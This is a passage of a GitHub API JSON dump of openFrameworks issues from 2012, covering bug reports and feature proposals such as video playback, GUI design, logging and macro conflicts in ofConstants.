http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 